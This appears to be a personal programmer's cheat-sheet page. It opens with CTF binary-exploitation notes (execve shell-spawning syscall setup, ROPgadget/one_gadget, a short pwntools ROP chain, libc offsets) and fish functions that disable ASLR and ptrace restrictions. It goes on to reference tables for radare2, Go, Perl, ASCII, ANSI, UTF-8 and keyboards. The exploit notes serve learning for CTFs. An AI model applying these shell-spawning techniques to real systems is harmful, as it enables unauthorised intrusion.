Executables link against your copy of libc. execve
is the most useful.
execve("/bin/sh", 0, 0)
eax
with syscall number, 0xb = 11
ebx
with "/bin/sh"
ecx
with 0
edx
with 0
rax
with syscall number, 0x3b = 59
rdi
with "/bin/sh"
rsi
with 0
rdx
with 0
one_gadget
will find single places in libc you can jump after possibly setting up some constraints for you. If it's cheap, try all of them without worrying about constraints first. Otherwise ROPgadget --binary some_executable
ROPgadget --binary rop
. Look for good things. These are good:
0x080b9236 : pop eax ; ret 0x0806fd50 : pop edx ; pop ecx ; pop ebx ; ret 0x0806d905 : int 0x80So chain them like this.
code = 'A' * 36 # 32, plus 4 for ebp code += p32(0x080b9236) # pop eax ; ret code += p32(0xb) # (gets popped into eax) 0x080bc6a5 : "/bin/sh"
fit
is probably better:
code = fit({36: p32(0x080b9236) + p32(0xb)}, filler='A')
$ ldd leakRoplibc is what you care about.
ROPgadget --binary
or one_gadget
that.
If the CTF gives you a libc file, do something like this:
$ LD_PRELOAD=/path/to/my/libc.so ./executableIn GDB:
(gdb) set environment LD_PRELOAD=/path/to/my/libc.soYou may need to use an absolute path. Now, to figure out an address:
readelf -s libc-2.19.so | grep puts@ puts is 0005fca0To test: Fire up gdb, do,
break main info proc mappings r < <(python payload.py)
Step through with nextcall
or finish
.
In 64-bit you use the standard %edi
, %esi
stuff. In 64-bit the instruction is actually syscall
; in 32-bit it's int 0x80
.
%rax
; args are %rdi
, %rsi
, %rdx
, %r10
, %r8
, %r9
.
read(uint fd, char* buf, size_t count)
write(uint fd, char* buf, size_t count)
open(const char* filename, int flags, int mode)
execve(const char* filename, const char *const argv, const char *const envp[])
Randomizes:
Check if enabled with /proc/sys/kernel/randomize_va_space
(it's usually on).
PIE will additionally put the code in a random place? I think GDB turns all of these off and puts them at fixed offsets. info proc mappings
is your friend and will tell you the base addresses where stuff were put. Once you've gotten an exploit working under GDB and identified a leak to the stack or libc
or the one you want, do simple arithmetic translation to figure out the proper addresses.
enhex, unhex concat, concat_all, findall group(n, seq, underfull_action=['ignore'|'drop'|'fill']) ordlist, unordlist p8, p16, p32, p64 ( pack: int → bytes) u8, u16, u32, u64 (unpack: bytes → int) You can pass endian='little'|'big', sign=False|True more(text), yesno(text)
pwn checksec
pwn hex
pwn unhex
sudo mount -t vboxsf -o uid=$UID,gid=$(id -g) somename ~/portalFish:
sudo mount -t vboxsf -o uid=(id -u),gid=(id -g) somename ~/portal
Install radare2, it’ll be available as r2
. Load an executable prog
like r2 prog
. radare2 will print a random funny message on startup, sometimes it’s confusing if you’re not used to it.
[.][times][cmd][~grep][@[@iter]addr!size][|>pipe] ;
radare2 has a "current offset" displayed in the prompt, and is in the magic variable $$
radare2 commands are weird strings of single letters. Start by issuing aaa
or aaaa
to analyze the file. More a
’s is more analysis but four a
’s is experimental.
Run afl
to list all the functions in the program.
To disassemble a function main
, run pdf@main
. To get the output in a pager so you can scroll with the keyboard, append ~..
; here you’d run pdf@main~..
.
Note: If there’s a period after the bytes corresponding to an instruction, then radare2 isn’t showing you all the bytes corresponding to that instruction because, I’m not sure, it doesn’t fit in the horizontal space?
In general pd
disassembles stuff, pd3@5.
idk? pdf
disassembles the function.
VV @ main
px
bytes; pxw
32-bit wordsMight need to make the executable writable and open with r2 -w
.
s 0x12345678
wx ffffffff @+2
. @
is your current location. 90 = NOP
is your friend of course. Other types:
w foobar
writes stringwa nop ; nop
writes instructionswz foobar
writes string + \0wc
lists write changeswa push rax ; nop @ 0x12345678
https://github.com/radare/radare2/blob/master/doc/intro.md
r2 -d foo
dc
: continuedcs
: continue to syscalldcf
: continue to forkdb
: break..
eip
is the current position.dm
memory maps, which you can use to find functions exported by libraries for ropping?f flag_name @ offset
a flag is a bookmarkf -flag_name
delete00 00 01 00 - ICO 1F 9D - LZW zip 1F A0 - LZH zip 42 5A 68 "BZh" - Bzip2 "GIF87a", "GIF89a" - GIF 49 49 2A 00 - TIFF, little endian 4D 4D 00 2A - TIFF, big endian FF D8 FF DB "ÿØÿÛ" - JPEG FF D8 - other JPEG formats 50 4B [03 04] "PK.." - zip and family (jar, docx...) 52 61 72 21 "Rar!" - RAR 7F 45 4C 46 - .ELF
function ptrace_scope_off echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope end function ptrace_scope_on echo 1 | sudo tee /proc/sys/kernel/yama/ptrace_scope end function aslr_off echo 0 | sudo tee /proc/sys/kernel/randomize_va_space end function aslr_on echo 2 | sudo tee /proc/sys/kernel/randomize_va_space end function hexmath math "obase=16;ibase=16;$argv" end
bool // true, false uint8 uint16 uint32 uint64 uint (32 or 64) int8 int16 int32 int64 int (32 or 64) float32 float64 uintptr byte = uint8 rune = int32 string
[10]int []byte map[int]string // map from int to string
(channels)
type A = string // alias; they're exactly the same type type B string // type definition (newtype): distinct from string, but convertable type Point struct { x, y float64 }
i := x.(int) // type assertion (panic if fail; i is now of type int) i, ok := x.(int) // safe type assertion (ok is false if fail)
switch i := x.(type) { case int: // i is an int case bool, string: // i is a bool or string default: // idk }
&Point{1, 2} is valid but e.g. &1 is not []T{x1, x2, ..., xn} a := make([]T, 10) // slice of length 10 m := make(map[T]U) // empty map append(a, t1, t2, t3) append(a, a...) value := m[key] value, exists := m[key] delete(m, key)
func F(stuff ...string) stuff := []string{"a", "b"} F(stuff...)
perlrun or perldoc perlrun
Switch-clustering is OK. #!/usr/bin/env perl -flagstuvwxyz
switch | meaning |
---|---|
-e | eval code from command-line argument |
-n | run against every line of file(s) from command line (current filename will be in $ARGV) |
-p | run against every line + print result |
-i | modify file in-place |
awk-like flags | |
-l | chomp lines + make print statements output record separators (?) |
-Fpattern | change |
-a | autosplit: input fields are placed in @F ($f[0] , $f[1] ...) |
awk note: a file contains records (usually lines), which contain fields (usually whitespace-delimited tokens)
In practice:
perl -ne 'print if /pattern/'
perl -pe 's/from/to/g'
A sort of mini-ack clone:
perl -ne'print $ARGV, ":", $_ if /foo/ && /bar/' $(find . -type f)
Using ack's defaults:
perl -ne'print $ARGV, ":", $_ if /foo/ && /bar/' $(ack -f)
|
|
|
Bin | Oct | Dec | Hex | Code | Description |
---|---|---|---|---|---|
000 0000 | 000 | 0 | 00 | ␀ NUL | Null character |
000 0001 | 001 | 1 | 01 | ␁ SOH | Start of Header |
000 0010 | 002 | 2 | 02 | ␂ STX | Start of Text |
000 0011 | 003 | 3 | 03 | ␃ ETX | End of Text |
000 0100 | 004 | 4 | 04 | ␄ EOT | End of Transmission |
000 0101 | 005 | 5 | 05 | ␅ ENQ | Enquiry |
000 0110 | 006 | 6 | 06 | ␆ ACK | Acknowledgment |
000 0111 | 007 | 7 | 07 | ␇ BEL | Bell |
000 1000 | 010 | 8 | 08 | ␈ BS | Backspace |
000 1001 | 011 | 9 | 09 | ␉ HT ↹ | Horizontal Tab |
000 1010 | 012 | 10 | 0A | ␊ LF | Line feed |
000 1011 | 013 | 11 | 0B | ␋ VT | Vertical Tab |
000 1100 | 014 | 12 | 0C | ␌ FF | Form feed |
000 1101 | 015 | 13 | 0D | ␍ CR ↲ | Carriage return |
000 1110 | 016 | 14 | 0E | ␎ SO | Shift Out |
000 1111 | 017 | 15 | 0F | ␏ SI | Shift In |
001 0000 | 020 | 16 | 10 | ␐ DLE | Data Link Escape |
001 0001 | 021 | 17 | 11 | ␑ DC1 | Device Control 1 (oft. XON) |
001 0010 | 022 | 18 | 12 | ␒ DC2 | Device Control 2 |
001 0011 | 023 | 19 | 13 | ␓ DC3 | Device Control 3 (oft. XOFF) |
001 0100 | 024 | 20 | 14 | ␔ DC4 | Device Control 4 |
001 0101 | 025 | 21 | 15 | ␕ NAK | Negative Acknowledgement |
001 0110 | 026 | 22 | 16 | ␖ SYN | Synchronous idle |
001 0111 | 027 | 23 | 17 | ␗ ETB | End of Transmission Block |
001 1000 | 030 | 24 | 18 | ␘ CAN | Cancel |
001 1001 | 031 | 25 | 19 | ␙ EM | End of Medium |
001 1010 | 032 | 26 | 1A | ␚ SUB | Substitute |
001 1011 | 033 | 27 | 1B | ␛ ESC | Escape |
001 1100 | 034 | 28 | 1C | ␜ FS | File Separator |
001 1101 | 035 | 29 | 1D | ␝ GS | Group Separator |
001 1110 | 036 | 30 | 1E | ␞ RS | Record Separator |
001 1111 | 037 | 31 | 1F | ␟ US | Unit Separator |
␛[0m
. ␛ = chr 27 = \x1b = \033
0
can be replaced by a sequence of semicolon-separated numbers.
Number | Effect |
---|---|
0 | Reset |
1 | Bold |
4 | Underscore |
5 | Blink |
7 | Reverse video |
8 | Concealed |
30~37 or 38;5;n | Foreground color |
40~47 or 48;5;n | Background color |
?0 | Black |
?1 | Red |
?2 | Green |
?3 | Yellow |
?4 | Blue |
?5 | Magenta |
?6 | Cyan |
?7 | White |
Also known as, uh, Unicode. The code elements below have been hijacked to copy to clipboard.
×
−
2 –
N —
M “
”
ಠ_ಠ
(ノಠ益ಠ)ノ彡┻━┻
(╯°□°)╯︵ ┻━┻
┬─┬ノ(ಠ_ಠノ)
( ͡° ͜ʖ ͡°)
¯\_(ツ)_/¯
♪~ ᕕ(ᐛ)ᕗ
🐉
🔥
←
↑
→
↓
↔↕ ↖↗↘↙ ↶↷↺↻ (Wikipedia)┌┬─┐ ├┼─┤ ││ │ └┴─┘ |
┏┳━┓ ┣╋━┫ ┃┃ ┃ ┗┻━┛ |
╔╦═╗ ╠╬═╣ ║║ ║ ╚╩═╝ |
✈✈✈ Galactic Trendsetters ✈✈✈
Continuations are 0x80 to 0xbf.
codepoint | bit pattern | min | max |
---|---|---|---|
U+0000 to U+007F | 0xxxxxxx (0x0 to 0x7?) | 00 | 7f |
U+0080 to U+07FF | 110xxxxx (0xc?, 0xd?) | c2 80 | df bf |
U+0800 to U+FFFF | 1110xxxx (0xe?) | e0 a0 80 | ef bf bf |
U+10000 to U+10FFFF* | 11110xxx (0xf0 to f7) | f0 90 80 80 | f4 8f bf bf |
* Same pattern could theoretically encode up to U+1FFFFF but is limited by RFC 3629
Bytes that should never appear: 0xc0, 0xc1 (overlong encodings); 0xf5+ (RFC) / 0xf8+ (past range)
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | ||
22 | 23 | 24 | 25 | 26 | 27 | ||
28 | 29 | 30 | 31 | 32 | 33 | ||
34 | 35 | 36 | 37 | 38 | 39 | ||
40 | 41 | 42 | 43 | 44 | 45 | ||
46 | 47 | 48 | 49 | 50 | 51 | ||
52 | 53 | 54 | 55 | 56 | 57 | ||
58 | 59 | 60 | 61 | 62 | 63 | ||
64 | 65 | 66 | 67 | 68 | 69 | ||
70 | 71 | 72 | 73 | 74 | 75 | ||
76 | 77 | 78 | 79 | 80 | 81 | ||
82 | 83 | 84 | 85 | 86 | 87 | ||
88 | 89 | 90 | 91 | 92 | 93 | ||
94 | 95 | 96 | 97 | 98 | 99 | ||
100 | 101 | 102 | 103 | 104 | 105 | ||
106 | 107 | 108 | 109 | 110 | 111 | ||
112 | 113 | 114 | 115 | 116 | 117 | ||
118 | 119 | 120 | 121 | 122 | 123 | ||
124 | 125 | 126 | 127 | 128 | 129 | ||
130 | 131 | 132 | 133 | 134 | 135 | ||
136 | 137 | 138 | 139 | 140 | 141 | ||
142 | 143 | 144 | 145 | 146 | 147 | ||
148 | 149 | 150 | 151 | 152 | 153 | ||
154 | 155 | 156 | 157 | 158 | 159 | ||
160 | 161 | 162 | 163 | 164 | 165 | ||
166 | 167 | 168 | 169 | 170 | 171 | ||
172 | 173 | 174 | 175 | 176 | 177 | ||
178 | 179 | 180 | 181 | 182 | 183 | ||
184 | 185 | 186 | 187 | 188 | 189 | ||
190 | 191 | 192 | 193 | 194 | 195 | ||
196 | 197 | 198 | 199 | 200 | 201 | ||
202 | 203 | 204 | 205 | 206 | 207 | ||
208 | 209 | 210 | 211 | 212 | 213 | ||
214 | 215 | 216 | 217 | 218 | 219 | ||
220 | 221 | 222 | 223 | 224 | 225 | ||
226 | 227 | 228 | 229 | 230 | 231 | ||
232 | 233 | 234 | 235 | 236 | 237 | ||
238 | 239 | 240 | 241 | 242 | 243 | ||
244 | 245 | 246 | 247 | 248 | 249 | ||
250 | 251 | 252 | 253 | 254 | 255 |
~` | !1 | @2 | #3 | $4 | %5 | ^6 | *7 | &8 | (9 | )0 | _- | += | ← | |||||||||||||||
↔ | Q | W | E | R | T | Y | U | I | O | P | {[ | }] | |\ | |||||||||||||||
C⇑ | A | S | D | F | G | H | J | K | L | :; | "' | E↵ | ||||||||||||||||
S↑ | Z | X | C | V | B | N | M | <, | >. | ?/ | S↑ |
PrtScSysRq | Scroll¤ | PauseBreak |
Ins | Home | Pg↑ |
Del | End | Pg↓ |